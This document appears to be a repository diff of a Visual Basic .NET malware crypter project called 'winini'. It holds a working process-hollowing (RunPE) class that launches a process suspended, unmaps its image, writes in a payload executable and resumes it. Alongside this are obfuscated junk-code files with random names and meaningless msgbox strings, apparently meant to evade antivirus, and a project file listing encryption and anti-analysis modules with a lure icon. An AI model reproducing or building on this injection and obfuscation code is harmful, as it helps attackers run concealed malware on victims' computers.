If 9913266 > 1234129 Then
|
||||
Dim ghJiGZtJHCcNlBjtFbdWDAOzYi As String = "YuJOyHRULuxIOtjNUctJWNUryYjdNSwRnlgJixTvtWrBFEDCOLxoIeBINlbJycbDwGfk"
|
||||
Dim eTUwUAhtnhmyjXuCEjHemBPoZH As String = "pnfNWQkyeOkUJLEAPFuXkCuJXGvhvdRSyECfTfUEhDfxofQGjxUlXCExJyNxtAAMhIbE"
|
||||
Dim mOKThSvZmBGXTjjWmDYhfGecOM As String = "pmWCbprRbZohVlvEiUnMTyNPpFmRchCulousabcawVlrrXhFHTcmYyMSnxBEUmsLUpjw"
|
||||
End If
|
||||
Dim DZTCybUsHXZFErrpDCGWtfdvIpKohWQfszRnvmSGJSUWIwQjqejRo As Integer = 267781
|
||||
Dim ibIyAWpRdIgyQEhwpumKbPxdorjcYDSnUvKRiTPnUTslsXCvPTsuKMm As Integer = 590705
|
||||
End Function
|
||||
|
||||
|
||||
Public Sub mcsKyNmgjQIoLDHVoIpCXjtH(ByVal pjzlPKltzpHIhZOTVKVULTOvdtPYVJJjTjprMTIeenvysxkmU As String)
|
||||
Dim PxFlVkqzmetxfvUGFlRYoiodfJ As String = "bWoimyshatnNqmCFWmPsaqcdPOesiuupcNtpuWwBKlohHslDVfBnoZlzVoXEYs"
|
||||
Dim gDPDsteThfQeBkddJJZvIYLLwLBnggnICoQfXXnHfBNKwjfaIqrDBtCd As Integer = 766371
|
||||
msgbox("jXKxIpyXYlzTdXLzIMWDKdPzxxajNKbYhzbguRYGidVgXZCqrkestPsJtlbYOxqzurKBUmemuaeEEaFHOFJgvLDgPObfaRWngZhVJZxtrfdVUreauMtUKfFrfSHGrhcQMoYqJskDugzgMkgVEsPJhnGTMnCCKIQKGXUNQFBrXTaodVTVOoFCJxOneOtWYHsxlPBoYcCl")
|
||||
Dim jIigpsqfiwnhQxCBhnVjlnExOLYkcGAiIzSxdLlyTVdXMIWmtxIYNVKP As Integer = 9362423 + 517071 + 517071 + 517071
|
||||
Dim kVEaERVhleUiDeWh As Integer = 4946922 + 717920 + 717920 + 1087138
|
||||
Dim kVqmamxQDYqreBzAHPeHMpyjpuoOJXKxjjYZIHiPrIkIcRegDSyP As Integer = 6879251 + 918769 + 258966 + 258966
|
||||
Dim hTyMwNLWjapTLEjEKGzKybmIiDbpzhXVVuStdBZJruFDQOczwedS As Integer = 8811579 + 1119618 + 459815 + 459815
|
||||
msgbox("azQSsYepKmyIirbJlcvmNhvLhJRARMENWmXsmfkqwHxgzmKIvhgfkNMmaRjbHrOlmgVElnBYBneXaRyBjOkjasiVfzUDOJTqWtDjKlPsSZhFwBQWKlDElvbolvjCswjDwZrbLwpskROjpbdcLVmsHdraFUyrkMwvvVJFqcVgpRJLfOZGmmsCyHamMenagboIqrbGcCxsauY")
|
||||
msgbox("vbVySCcmpiLZdhgWYvFTlGmtJEJslUkLBQcDcwbpdcrirQEfIEkKVhXvhBPjiJYhjqoFKiNwRmsvKAkgeTMXAixppHGehGxILqoFLbrjZzwMbCeBGbTKXWVCDLSfccPQFFKEbpYeXElkmiwRKTmWfNzLrBfnPkihlWkFBmOIgptQmJuE")
|
||||
msgbox("rQYSDgmIDdNrhSjYNDEtVqWPDNEgYMreHnxXHLepdpYdTMkWTnyTVLyZCivEIvezDiQHlbbXPeNpuEFXeSUckCZAOcZgtnGNfwsdRxQnOqvjkNkHyngbpkmbotCUIHLDqXrubwmUdWkTRLNLatwYLeckfavcbajCkIdNqrfAIQwBRRdP")
|
||||
Dim FPcJJsdPjGmDhllxlZgxCwXKKzyviEWXRTzrRMLHEpxtUgdvrsPiWi As Integer = 813476
|
||||
Dim OATZlnJGsZmUWskiWgNimBRuvJDNOxazLubmtbDzqvdkKSkLGVPTHLbt As Integer = 753618
|
||||
Dim yccPEDnkumfrrItbZQOCBdMSkwLVlgHqOsBnxlCDKghlOhBSMXtNOIPZ As Integer = 606360
|
||||
msgbox("NfWMJoVJwuDRRUnzccJOKOJElHdJthXegkhNKWPxWJyQPooVqCoLDcrfahVWgntxlstYwKFKjWNWHoJvHgTaKKhBuhFXROTOJGBGbfMlRiqwAwUNJRrTpnxFaGbbIkURkbAbIJEPEvdHDoqMdKEHzmKhCIewNeQvuFnyyYEmdLVPZqrfzMBDxkpVGnJwoWdpXtHkFg")
|
||||
Dim vpKsFxGJFGLKNPBzfUjgMJahtcsjrhwcEdOQkLFqYNITqanjtexEzgG As Integer = 7602295 + 993924 + 993924 + 334120
|
||||
Dim VrCHGHEXLzUOkyXRJoclLQPlpIKsFSdNc As Integer = 4806635 + 703338 + 534970 + 534970
|
||||
Dim HMdlEuVyKPUqZGwRrjngxdgmql As String = "myuBtpBDiCpbSyMlSViWgjyVLedCNnPRGOnEjYpREMGdJzUicJIalpEcXWDTx"
|
||||
Dim VXoVuhYlrVirrlGeUtWfjHSwjZcuVfaPfIqmXQbRnZxZLUbKDNDQmVLL As Integer = 126466
|
||||
Dim rgiRCGAvkUo As Integer = 8671292 + 1105037 + 1105037 + 445234
|
||||
Dim ogzVGiwlyJankaHTmCuOkYxvO As String = "PdYdEgUpjMdgaBfVelzIwGrmDTNIxalRxLpuM"
|
||||
Dim bmxilYGUGkOeqCLIDcPWEPsfLFyqKf As Integer = 4255792 + 646083 + 1015301 + 1015301
|
||||
Dim lZvjhnOPyTtVHgInjVjpDAwCezedoUqwqJxJRBTLXIjTAiBLEppjosYP As Integer = 653464
|
||||
Dim osqdxjiTpYcKFZCWZTWQxmPGhlZQrAOPMCgFaYycypekWunmphKfsld As Integer = 976389
|
||||
Dim uwFxrdKvWghxVfQbPWgRlnBNySZQirbFueMQTzogzvxggPGRFNQjYKjRbN As Integer = 3392460 + 556347 + 556347 + 387978
|
||||
Dim pZveXDncNrIcxtuyAETarePnKPty As Integer = 3704948 + 588827 + 958045 + 958045
|
||||
Dim TUZwrDWXZlrLRsfjvZwOkjzayIrQpSbdMdaBxVNOwZJIZXoQbDxzGnoH As Integer = 173571
|
||||
Dim OjONXGQHujLFOxSDkLPPyaKWLHZSaUgfzWSBDdGWyjesZwgoCiUjtlp As Integer = 9189446 + 1158894 + 499091 + 499091
|
||||
Dim juNkTKSazfogeIQfGPqjYspFXZ As String = "ipaQbhugUqOvUbVDjobQOFSjCcFWwoCyZhxxlqHYyndrOuILtHcrvdvNcPDwH"
|
||||
End Sub
|
||||
|
||||
End Module
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 766 B |
@@ -0,0 +1,128 @@
|
||||
Imports System.Runtime.InteropServices
|
||||
Imports System.ComponentModel
|
||||
|
||||
Public Class rp
|
||||
Public Const PAGE_NOCACHE As Long = &H200
|
||||
Public Const PAGE_EXECUTE_READWRITE As Long = &H40
|
||||
Public Const PAGE_EXECUTE_WRITECOPY As Long = &H80
|
||||
Public Const PAGE_EXECUTE_READ As Long = &H20
|
||||
Public Const PAGE_EXECUTE As Long = &H10
|
||||
Public Const PAGE_WRITECOPY As Long = &H8
|
||||
Public Const PAGE_NOACCESS As Long = &H1
|
||||
Public Const PAGE_READWRITE As Long = &H4
|
||||
Public Const PAGE_READONLY As UInt32 = &H2
|
||||
|
||||
Shared Sub MakeIt(ByVal data() As Byte, ByVal target As String)
|
||||
Dim C = New H.Context, SH As H.Section_Header, PI = New H.Process_Information, SI = New H.Startup_Information, PS = New H.Security_Flags, TS = New H.Security_Flags
|
||||
Dim GC = GCHandle.Alloc(data, GCHandleType.Pinned)
|
||||
Dim Buffer As Integer = GC.AddrOfPinnedObject.ToInt32
|
||||
Dim DH As New H.DOS_Header
|
||||
DH = Marshal.PtrToStructure(GC.AddrOfPinnedObject, DH.GetType)
|
||||
GC.Free()
|
||||
If H.CreateProcess(Nothing, target, PS, TS, False, 4, Nothing, Nothing, SI, PI) = 0 Then Return
|
||||
Dim NH As New H.NT_Headers
|
||||
NH = Marshal.PtrToStructure(New IntPtr(Buffer + DH.Address), NH.GetType)
|
||||
Dim Address, Offset As Long, ret As UInteger
|
||||
SI.CB = Len(SI)
|
||||
C.Flags = 65538
|
||||
If NH.Signature <> 17744 Or DH.Magic <> 23117 Then Return
|
||||
If H.GetThreadContext(PI.Thread, C) And H.ReadProcessMemory(PI.Process, C.Ebx + 8, Address, 4, 0) >= 0 And H.ZwUnmapViewOfSection(PI.Process, Address) >= 0 Then
|
||||
Dim ImageBase As UInt32 = H.VirtualAllocEx(PI.Process, NH.Optional.Image, NH.Optional.SImage, 12288, 4)
|
||||
If ImageBase <> 0 Then
|
||||
H.WriteProcessMemory(PI.Process, ImageBase, data, NH.Optional.SHeaders, ret)
|
||||
Offset = DH.Address + 248
|
||||
For I As Integer = 0 To NH.File.Sections - 1
|
||||
SH = Marshal.PtrToStructure(New IntPtr(Buffer + Offset + I * 40), SH.GetType)
|
||||
Dim Raw(SH.Size) As Byte
|
||||
For Y As Integer = 0 To SH.Size - 1 : Raw(Y) = data(SH.Pointer + Y) : Next
|
||||
H.WriteProcessMemory(PI.Process, ImageBase + SH.Address, Raw, SH.Size, ret)
|
||||
H.VirtualProtectEx(PI.Process, ImageBase + SH.Address, SH.Misc.Size, Protect(SH.Flags), Address)
|
||||
Next I
|
||||
Dim T = BitConverter.GetBytes(ImageBase)
|
||||
H.WriteProcessMemory(PI.Process, C.Ebx + 8, T, 4, ret)
|
||||
C.Eax = ImageBase + NH.Optional.Address
|
||||
H.SetThreadContext(PI.Thread, C)
|
||||
H.ResumeThread(PI.Thread)
|
||||
End If
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Shared Function RShift(ByVal lValue As Long, ByVal lNumberOfBitsToShift As Long) As Long
|
||||
RShift = vbLongToULong(lValue) / (2 ^ lNumberOfBitsToShift)
|
||||
End Function
|
||||
Private Shared Function vbLongToULong(ByVal Value As Long) As Double
|
||||
Const OFFSET_4 = 4294967296.0#
|
||||
If Value < 0 Then
|
||||
vbLongToULong = Value + OFFSET_4
|
||||
Else
|
||||
vbLongToULong = Value
|
||||
End If
|
||||
End Function
|
||||
|
||||
Private Shared Function Protect(ByVal characteristics As Long) As Long
|
||||
Dim mapping() As Object = {PAGE_NOACCESS, PAGE_EXECUTE, PAGE_READONLY, _
|
||||
PAGE_EXECUTE_READ, PAGE_READWRITE, PAGE_EXECUTE_READWRITE, _
|
||||
PAGE_READWRITE, PAGE_EXECUTE_READWRITE}
|
||||
Protect = mapping(RShift(characteristics, 29))
|
||||
End Function
|
||||
|
||||
<EditorBrowsable(1)> Friend Class H
|
||||
<StructLayout(0)> Structure Context
|
||||
Dim Flags, D0, D1, D2, D3, D6, D7 As UInt32, Save As Save
|
||||
Dim SG, SF, SE, SD, Edi, Esi, Ebx, Edx, Ecx, Eax, Ebp, Eip, SC, EFlags, Esp, SS As UInt32
|
||||
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=512)> Dim Registers As Byte()
|
||||
End Structure
|
||||
<StructLayout(0)> Structure Save
|
||||
Dim Control, Status, Tag, ErrorO, ErrorS, DataO, DataS As UInteger
|
||||
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=80)> Dim RegisterArea As Byte()
|
||||
Dim State As UInt32
|
||||
End Structure
|
||||
Structure Misc
|
||||
Dim Address, Size As UInt32
|
||||
End Structure
|
||||
Structure Section_Header
|
||||
Dim Name As Byte, Misc As Misc, Address, Size, Pointer, PRelocations, PLines, NRelocations, NLines, Flags As UInt32
|
||||
End Structure
|
||||
Structure Process_Information
|
||||
Dim Process, Thread As IntPtr, ProcessId, ThreadId As Integer
|
||||
End Structure
|
||||
<StructLayout(0, CharSet:=3)> Structure Startup_Information
|
||||
Dim CB As Integer, ReservedA, Desktop, Title As String, X, Y, XSize, YSize, XCount, YCount, Fill, Flags As Integer
|
||||
Dim ShowWindow, ReservedB As Short, ReservedC, Input, Output, [Error] As Integer
|
||||
End Structure
|
||||
<StructLayout(0)> Structure Security_Flags
|
||||
Dim Length As Integer, Descriptor As IntPtr, Inherit As Integer
|
||||
End Structure
|
||||
<StructLayout(0)> Structure DOS_Header
|
||||
Dim Magic, Last, Pages, Relocations, Size, Minimum, Maximum, SS, SP, Checksum, IP, CS, Table, Overlay As UInt16
|
||||
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=4)> Dim ReservedA As UInt16()
|
||||
Dim ID, Info As UInt16
|
||||
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=10)> Dim ReservedB As UInt16()
|
||||
Dim Address As Int32
|
||||
End Structure
|
||||
Structure NT_Headers
|
||||
Dim Signature As UInt32, File As File_Header, [Optional] As Optional_Headers
|
||||
End Structure
|
||||
<StructLayout(0)> Structure File_Header
|
||||
Dim Machine, Sections As UInt16, Stamp, Table, Symbols As UInt32, Size, Flags As UInt16
|
||||
End Structure
|
||||
<StructLayout(0)> Structure Optional_Headers
|
||||
Public Magic As UInt16, Major, Minor As Byte, SCode, IData, UData, Address, Code, Data, Image As UInt32, SectionA, FileA As UInt32
|
||||
Public MajorO, MinorO, MajorI, MinorI, MajorS, MinorS As UInt16, Version, SImage, SHeaders, Checksum As UInt32, Subsystem, Flags As UInt16
|
||||
Public SSReserve, SSCommit, SHReserve, SHCommit, LFlags, Count As UInt32
|
||||
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=16)> Public DataDirectory As Data_Directory()
|
||||
End Structure
|
||||
<StructLayout(0)> Structure Data_Directory
|
||||
Dim Address, Size As UInt32
|
||||
End Structure
|
||||
Declare Auto Function CreateProcess Lib "kernel32" (ByVal name As String, ByVal command As String, ByRef process As Security_Flags, ByRef thread As Security_Flags, ByVal inherit As Boolean, ByVal flags As UInt32, ByVal system As IntPtr, ByVal current As String, <[In]()> ByRef startup As Startup_Information, <Out()> ByRef info As Process_Information) As Boolean
|
||||
Declare Auto Function WriteProcessMemory Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByVal buffer As Byte(), ByVal size As IntPtr, <Out()> ByRef written As Integer) As Boolean
|
||||
Declare Auto Function ReadProcessMemory Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByRef buffer As IntPtr, ByVal size As IntPtr, ByRef read As Integer) As Integer
|
||||
Declare Auto Function VirtualProtectEx Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByVal size As UIntPtr, ByVal [new] As UIntPtr, <Out()> ByVal old As UInt32) As Integer
|
||||
Declare Auto Function VirtualAllocEx Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByVal size As UInt32, ByVal type As UInt32, ByVal protect As UInt32) As IntPtr
|
||||
Declare Auto Function ZwUnmapViewOfSection Lib "ntdll" (ByVal process As IntPtr, ByVal address As IntPtr) As Long
|
||||
Declare Auto Function ResumeThread Lib "kernel32" (ByVal thread As IntPtr) As UInt32
|
||||
Declare Auto Function GetThreadContext Lib "kernel32" (ByVal thread As IntPtr, ByRef context As Context) As Boolean
|
||||
Declare Auto Function SetThreadContext Lib "kernel32" (ByVal thread As IntPtr, ByRef context As Context) As Boolean
|
||||
End Class
|
||||
End Class
|
||||
@@ -0,0 +1,136 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="14.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProductVersion>9.0.30729</ProductVersion>
|
||||
<SchemaVersion>2.0</SchemaVersion>
|
||||
<ProjectGuid>{431C311C-D462-41B3-8046-6D2EFA480D81}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<StartupObject>winini.My.MyApplication</StartupObject>
|
||||
<RootNamespace>winini</RootNamespace>
|
||||
<AssemblyName>winini</AssemblyName>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<MyType>WindowsForms</MyType>
|
||||
<TargetFrameworkVersion>v2.0</TargetFrameworkVersion>
|
||||
<OptionExplicit>On</OptionExplicit>
|
||||
<OptionCompare>Binary</OptionCompare>
|
||||
<OptionStrict>Off</OptionStrict>
|
||||
<OptionInfer>On</OptionInfer>
|
||||
<ApplicationManifest>My Project\app.manifest</ApplicationManifest>
|
||||
<ApplicationIcon>playboy.ico</ApplicationIcon>
|
||||
<FileUpgradeFlags>
|
||||
</FileUpgradeFlags>
|
||||
<UpgradeBackupLocation>
|
||||
</UpgradeBackupLocation>
|
||||
<OldToolsVersion>3.5</OldToolsVersion>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<DefineDebug>true</DefineDebug>
|
||||
<DefineTrace>true</DefineTrace>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DocumentationFile>winini.xml</DocumentationFile>
|
||||
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355</NoWarn>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<DefineDebug>false</DefineDebug>
|
||||
<DefineTrace>true</DefineTrace>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DocumentationFile>winini.xml</DocumentationFile>
|
||||
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355</NoWarn>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Deployment" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Import Include="Microsoft.VisualBasic" />
|
||||
<Import Include="System" />
|
||||
<Import Include="System.Collections" />
|
||||
<Import Include="System.Collections.Generic" />
|
||||
<Import Include="System.Data" />
|
||||
<Import Include="System.Diagnostics" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="3des.vb" />
|
||||
<Compile Include="4cr.vb" />
|
||||
<Compile Include="ant.vb" />
|
||||
<Compile Include="Form1.Designer.vb">
|
||||
<DependentUpon>Form1.vb</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="Form1.vb">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="iXeLtGwIKruOFeYSryvT.vb" />
|
||||
<Compile Include="MxYSyPEqBCHrXbnCiMM.vb" />
|
||||
<Compile Include="My Project\Settings1.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DesignTimeSharedInput>True</DesignTimeSharedInput>
|
||||
<DependentUpon>Settings.settings</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="Mymod.vb" />
|
||||
<Compile Include="My Project\AssemblyInfo.vb" />
|
||||
<Compile Include="My Project\Application.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Application.myapp</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="My Project\Resources.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DesignTime>True</DesignTime>
|
||||
<DependentUpon>Resources.resx</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="My Project\Settings.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Settings.settings</DependentUpon>
|
||||
<DesignTimeSharedInput>True</DesignTimeSharedInput>
|
||||
</Compile>
|
||||
<Compile Include="cxkyNFhHtwMVSyxBWPea.vb" />
|
||||
<Compile Include="RCyZjqbYzUcQEfmjWRSf.vb" />
|
||||
<Compile Include="RjDTyqqtbLiaQDnVNeSU.vb" />
|
||||
<Compile Include="rp.vb" />
|
||||
<Compile Include="ZIdBpWVkXnsXLhqpgQPF.vb" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Form1.resx">
|
||||
<DependentUpon>Form1.vb</DependentUpon>
|
||||
<SubType>Designer</SubType>
|
||||
</EmbeddedResource>
|
||||
<EmbeddedResource Include="My Project\Resources.resx">
|
||||
<Generator>VbMyResourcesResXFileCodeGenerator</Generator>
|
||||
<LastGenOutput>Resources.Designer.vb</LastGenOutput>
|
||||
<CustomToolNamespace>My.Resources</CustomToolNamespace>
|
||||
<SubType>Designer</SubType>
|
||||
</EmbeddedResource>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="My Project\app.manifest" />
|
||||
<None Include="My Project\Application.myapp">
|
||||
<Generator>MyApplicationCodeGenerator</Generator>
|
||||
<LastGenOutput>Application.Designer.vb</LastGenOutput>
|
||||
</None>
|
||||
<None Include="My Project\Settings.settings">
|
||||
<Generator>SettingsSingleFileGenerator</Generator>
|
||||
<CustomToolNamespace>My</CustomToolNamespace>
|
||||
<LastGenOutput>Settings1.Designer.vb</LastGenOutput>
|
||||
</None>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Content Include="playboy.ico" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
|
||||
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
|
||||
Other similar extension points exist, see Microsoft.Common.targets.
|
||||
<Target Name="BeforeBuild">
|
||||
</Target>
|
||||
<Target Name="AfterBuild">
|
||||
</Target>
|
||||
-->
|
||||
</Project>
|
||||
Reference in New Issue
Block a user